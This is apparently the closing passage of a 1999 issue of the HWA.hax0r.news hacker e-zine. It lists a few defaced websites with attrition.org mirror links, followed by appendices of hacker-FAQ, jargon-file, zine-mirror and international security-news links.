      Defaced domain: www.wayne-local.k12.oh.us 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.wayne-local.k12.oh.us 
      Defaced by: xhostile and acidklown 
      Operating System: Windows NT (IIS/4.0)
       
       
      Defaced domain: www.mastercard.at
      Site Title: Mastercard Austria 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.mastercard.at 
      Defaced by: Analognet 
      Operating System: Windows NT
       
      Defaced domain: www.aba.gov.au
      Site Title: Australian Broadcasting Authority 
      Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.aba.gov.au 
      Defaced by: Ned R. 
      Operating System: Windows NT
 
 
        and more sites at the attrition cracked web sites mirror:

                     http://www.attrition.org/mirror/attrition/index.html 
 
       -------------------------------------------------------------------------
       
  A.0                              APPENDICES
       _________________________________________________________________________
       
       
       



  A.1 PHACVW, sekurity, security, cyberwar links
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       The links are no longer maintained in this file, there is now a
      links section on the http://welcome.to/HWA.hax0r.news/ url so check
      there for current links etc.

      The hack FAQ (The #hack/alt.2600 faq)
      http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
      
      Hacker's Jargon File (The quote file)
      http://www.lysator.liu.se/hackdict/split2/main_index.html
      
      New Hacker's Jargon File.
      http://www.tuxedo.org/~esr/jargon/ 
      
      
      
      HWA.hax0r.news Mirror Sites around the world:
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://datatwirl.intranova.net  ** NEW **
      http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/ ** NEW **
      http://net-security.org/hwahaxornews ** NEW **
      http://www.sysbreakers.com/hwa ** NEW **
      http://www.attrition.org/hosted/hwa/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://www.hackunlimited.com/files/secu/papers/hwa/ ** NEW **
      http://www.ducktank.net/hwa/issues.html. ** NEW **
      http://www.alldas.de/hwaidx1.htm ** NEW **
      http://www.csoft.net/~hwa/ 
      http://www.digitalgeeks.com/hwa.*DOWN*
      http://members.tripod.com/~hwa_2k
      http://welcome.to/HWA.hax0r.news/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://archives.projectgamma.com/zines/hwa/.  
      http://www.403-security.org/Htmls/hwa.hax0r.news.htm
      http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
      http://hwa.hax0r.news.8m.com/           
      http://www.fortunecity.com/skyscraper/feature/103/  
      

      International links:(TBC)
      ~~~~~~~~~~~~~~~~~~~~~~~~~

      Foreign correspondants and others please send in news site links that
      have security news from foreign countries for inclusion in this list
      thanks... - Ed

      
          
      Belgium.......: http://securax.org/cum/ *New address*

              
      
      Brasil........: http://www.psynet.net/ka0z              
            
                      http://www.elementais.cjb.net           
            
      Canada .......: http://www.hackcanada.com
      Croatia.......: http://security.monitor.hr
      
      Columbia......: http://www.cascabel.8m.com              
      
                      http://www.intrusos.cjb.net                                   
                      
      Finland ........http://hackunlimited.com/                
                      
      Germany ........http://www.alldas.de/
                      http://www.security-news.com/
      
      Indonesia.....: http://www.k-elektronik.org/index2.html 
      
                      http://members.xoom.com/neblonica/      
      
                      http://hackerlink.or.id/                
      
      Netherlands...: http://security.pine.nl/                
      
      Russia........: http://www.tsu.ru/~eugene/              
      
      Singapore.....: http://www.icepoint.com                 
      
      South Africa ...http://www.hackers.co.za       
                      http://www.hack.co.za            
                      http://www.posthuman.za.net 
 
                      
      Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first
                                               and best security related e-zine.
      
                      
                       
                      
                      
                      
    .za (South Africa) sites contributed by wyzwun tnx guy...                  
      
      


    Got a link for this section? email it to hwa@press.usmc.net and i'll
    review it and post it here if it merits it.
   
    
      
    @HWA
    

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
    --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--

    © 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
    
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-                       
     --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
   [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
       [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]    


